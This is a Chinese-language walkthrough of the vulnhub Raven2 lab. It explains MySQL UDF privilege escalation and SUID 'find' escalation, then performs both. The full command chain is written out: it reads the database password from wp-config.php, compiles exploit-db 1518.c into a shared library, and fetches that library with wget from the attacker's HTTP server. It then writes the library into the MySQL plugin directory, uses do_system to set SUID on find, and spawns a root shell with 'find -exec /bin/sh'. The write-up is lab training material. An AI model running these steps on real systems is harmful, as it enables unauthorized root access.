目录
[一、 UDF数据库提权](#一、 UDF数据库提权)
[(1)检查 find 是否具备 SUID 权限](#(1)检查 find 是否具备 SUID 权限)
本文讲解MySQL数据库UDF提权+Find提权的渗透实战方法,基于vulnhub的Raven2靶机实现。
一、 UDF数据库提权
UDF 的全称是 User-Defined Function ,即用户自定义函数 。它是MySQL、PostgreSQL等数据库提供的一种扩展机制,允许用户编写自己的函数(通常用C/C++编写)并将其编译成共享库(在Linux上是 .so 文件,在Windows上是 .dll 文件),然后由数据库加载并执行。UDF提权的核心思想是利用数据库本身的功能,将执行系统命令的代码注入到数据库中,从而以数据库服务进程的权限来运行任意操作系统命令。
1、前提条件
UDF 提权并非在任何场景下都能成功,需满足以下核心条件:
- 数据库权限足够 :需拥有数据库的高权限账号 (如 MySQL 的
root、SQL Server 的sa),否则无法创建、加载 UDF。 - UDF 文件可写入并加载 :
- 需将 UDF 文件(如
udf.dll)上传到数据库可访问的目录(如 MySQL 的plugin目录、SQL Server 的Binn目录)。 - 数据库需支持加载外部 UDF 文件(部分环境可能限制
secure_file_priv等参数,禁止文件读写)。
- 需将 UDF 文件(如
- 数据库进程权限高 :数据库进程需以系统高权限 运行(如 Windows 的
Administrator、Linux 的root),否则即使执行 UDF,也只能获取低权限(如Users组权限),无法完成提权。 - 对应数据库版本支持 :不同数据库版本对 UDF 的语法、文件格式要求不同(如 MySQL 5.1 + 需 UDF 文件放在
plugin目录,且函数名需符合特定规则)。
2、提权步骤
(1)准备恶意UDF库文件:
-
攻击者事先准备好一个编译好的共享库文件(
.so或.dll),这个库文件中包含了执行系统命令的函数(如sys_exec或sys_eval)。 -
在Metasploit、Sqlmap等工具中都内置了这些常用的UDF库。
(2)将库文件写入插件目录:
-
攻击者通过SQL注入等手段,利用
SELECT ... INTO DUMPFILE语句,将恶意库文件的二进制内容(通常先被存储在一张表的BLOB字段里)写入到目标服务器的MySQL插件目录中。 -
命令示例 :
SELECT binary_data FROM malicious_table INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
(3)创建自定义函数:
-
库文件写入后,攻击者使用SQL命令创建一个自定义函数,并指定这个函数来自刚才写入的库文件。
-
命令示例 :
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';这相当于告诉MySQL:"从现在起,你可以使用sys_eval这个新命令了,它的具体代码在udf.so文件里。"
(4)执行系统命令:
-
函数创建成功后,攻击者就可以像调用普通SQL函数一样,使用这个自定义函数来执行操作系统命令。
-
命令示例 :
SELECT sys_eval('whoami');数据库会加载udf.so,执行其中的sys_eval函数,运行whoami命令,并将结果返回给攻击者。
二、Find提权
在 Linux 权限提升中,find 命令因其可能的 SUID 权限配置,常被用作提权工具。
1、核心原理
find 是用于查找文件的命令,若管理员误将其配置为 SUID 权限 (chmod u+s /usr/bin/find),则普通用户执行 find 时会临时获得文件所有者(通常是 root)的权限。此外,find 的 -exec 参数支持执行系统命令,结合 SUID 权限即可实现权限提升。
2、常用提权步骤
(1)检查 find 是否具备 SUID 权限
先确认 find 是否被配置为 SUID:
ls -la /usr/bin/find
# 若输出中包含 "rws"(如 -rwsr-xr-x),则具备 SUID 权限,可尝试提权
(2)创建临时文件
用touch在当前目录创建一个任意名称的临时文件(touch仅用于创建一个可被find识别的文件这是因为find需要一个具体文件作为查找目标才能触发-exec)。
touch mooyuan
(3)Find提权
通过find查找刚创建的文件,并借助-exec参数执行/bin/sh获取 root shell,如下所示。
find mooyuan -exec /bin/sh \; # 对找到的testfile执行/bin/sh
三、环境搭建
本文使用Kali作为攻击机,kali-linux(IP:192.168.59.128/24)如下所示。

靶机使用vulnhub的Raven2虚拟机环境,下载完成后解压到电脑,然后使用VMware直接打开并选择开机效果如下图所示。
下载地址:(vulnhub)https://downloads.sourceforge.net/project/raven2-ctf/Raven2.ova
使用工具查看存活网段,如下所示由于攻击机kali为192.168.59.128,本机(Windows主机)为192.168.59.1,故而靶机的IP地址为192.168.59.136。
四、数据库密码探测
当前渗透实验在《PHPMailer远程代码执行(CVE-2016-10033)复现:原理详解+渗透实战》的基础上进行渗透,此时已经通过PHPMailer获取到Web网站的代码执行权限。当前用户为www-data,此时通过++cat /var/www/html/wordpres/wp-config.php++查找wordpress使用的数据库密码的文件。

如下所示,通过查看++wp-config.php数据库配置文件,++ 成功获取到数据库的用户名和密码。
define('DB_USER', 'root');
define('DB_PASSWORD', 'R@v3nSecurity');

五、数据库UDF提权探测
1、查看数据库是否root用户启动
首先查看数据库服务是否是root用户启动,这是UDF提权的前提条件。
ps aux | grep mysql
如下所示,运行结果的第一个字段mysql就是运行该进程的系统用户名,确实是root启动。

2、登录数据库
输入++mysql -uroot -pR@v3nSecurity++登录数据库,如下所示登录成功,用户名密码正确。

3、查看数据库的版本信息
查询mysql版本:select version();
查看数据库信息:select databases;

4、查看数据库写入条件
查看数据库写入条件判断是否可以使用udf提权,如下图所示。
show global variables like 'secure%';
如下所示,值为空代表可以提权,具体原因如下所示。
- 1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
- 2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
- 3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!

5、查看数据库插入路径
查看数据库提权注入的插件目录,MySQL的版本不同路径是不一样的。
show variables like '%plugin%';
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数,如下所示路径正好是/usr/lib/mysql/plugin,与我们前面第3步获取到的MySQL版本号为5.5.60一致。

6、查看是否可以远程登录
通过select user,host from user; 查看数据库是否可以远程登录,如下所示。
use mysql;
select user,host from user;
通过运行结果发现root权限只能在本地登录,所以MSF提权不能使用,当前选择使用UDF提权,符合UDF提权的条件。

六、UDF提权渗透实战
1、Kali搜索UDF
攻击机Kali中使用searchsploit udf搜索UDF相关可利用模块,注意下图红框内容。

2、确定脚本的绝对路径
使用上图红框中的1518.c文件对应的PoC,通过locate linux/local/1518.c找到PoC的绝对路径。

3、编译PoC
(1)复制脚本1518.c到当前目录中
cp /usr/share/exploitdb/exploits/linux/local/1518.c ./
(2)编译1518.c生成PoC文件ljn.so
gcc -g -c 1518.c
gcc -g -shared -o ljn.so 1518.o -lc

4、攻击机开启http服务
在PoC文件ljn.so所在的目录内开启http服务,命令如下所示。
python -m http.server 8081
因此ljn.so的URL地址为http://192.168.59.128:8081/ljn.so 其中192.168.59.128为攻击机ip地址。

5、靶机下载ljn.so并将移动到/tmp/目录中
使用wget http://192.168.59.128:8081/ljn.so命令将PoC下载到靶机中,并将其移动到/tmp/目录中。
wget http://192.168.59.128:8081/ljn.so
mv ljn.so /tmp/ljn.so

此时查看kali中的http服务状态,如下所示。

6、登录数据库UDF提权
首先在mysql数据库中创建一个临时表ljn作为中转,将事先上传到/tmp目录的恶意UDF共享库(ljn.so)的二进制内容读取到表ljn中,然后将其写入MySQL插件目录/usr/lib/mysql/plugin/ljn.so。接着通过CREATE FUNCTION语句创建名为do_system的自定义函数并关联到该共享库。最后调用此函数执行系统命令,为/usr/bin/find命令设置SUID权限位,从而为后续通过find命令进行本地提权到root权限打下基础。
use mysql;
create table ljn(line blob);
insert into ljn values(load_file('/tmp/ljn.so'));
select * from ljn into dumpfile '/usr/lib/mysql/plugin/ljn.so';
create function do_system returns integer soname 'ljn.so';
select do_system('chmod u+s /usr/bin/find');
-
use mysql;这条语句选择使用名为mysql的系统数据库,该数据库存储了用户权限、插件等核心信息,为后续操作提供上下文环境。 -
create table ljn(line blob);此行在mysql数据库中创建了一张名为ljn的新表,该表包含一个类型为BLOB(二进制大对象) 的line字段,其作用是作为中转站临时存储二进制文件内容。 -
insert into ljn values(load_file('/tmp/ljn.so'));该命令使用LOAD_FILE()函数将服务器文件系统中已上传的恶意UDF库文件/tmp/ljn.so的内容读取出来,并以二进制数据的形式插入到ljn表中。 -
select * from ljn into dumpfile '/usr/lib/mysql/plugin/ljn.so';此行将刚插入ljn表中的二进制数据导出,并写入到MySQL的官方插件目录下,文件名为ljn.so,只有这样数据库才能正确识别和加载这个共享库。 -
create function do_system returns integer soname 'ljn.so';这是最关键的一步,它创建一个名为do_system的用户自定义函数(UDF),并声明其函数实现来源于插件目录下的ljn.so文件,该函数通常用于执行系统命令。 -
select do_system('chmod u+s /usr/bin/find');最后,此行调用新创建的do_system函数执行系统命令chmod u+s,该命令为/usr/bin/find工具设置SUID权限位,为后续通过find命令进行本地提权铺平道路。
如下所示,do_system函数的执行结果是将 find 命令的所有者增加root的权限来运行。

七、find提权
1、利用touch进行find提权
首先使用 touch mooyuan 创建一个名为 "mooyuan" 的空文件,然后执行 find mooyuan -exec "/bin/sh" \;,其含义是:利用已设置SUID权限的find命令,查找名为"mooyuan"的文件,并对找到的每个结果执行 /bin/sh 命令。
touch mooyuan
find mooyuan -exec "/bin/sh" \;
由于find以root权限运行,因此启动的shell将直接获得root权限,从而实现权限提升,效果如下所示,whoami的用户由www-data变为了root,说明提权成功。

2、查找flag4
拥有root权限后再次使用find查询flag相关文件,如下所示。
find / -name flag* 2>/dev/null
如下所示,相对于www-data用户只能查到flag2和flag3,这一次增加了flag4文件,在根目录下。
cat /root/flag4.txt
如下所示,通过cat /root/flag4.txt查找到了flag4,raven2靶场渗透结束,4个flag全部成功找到。
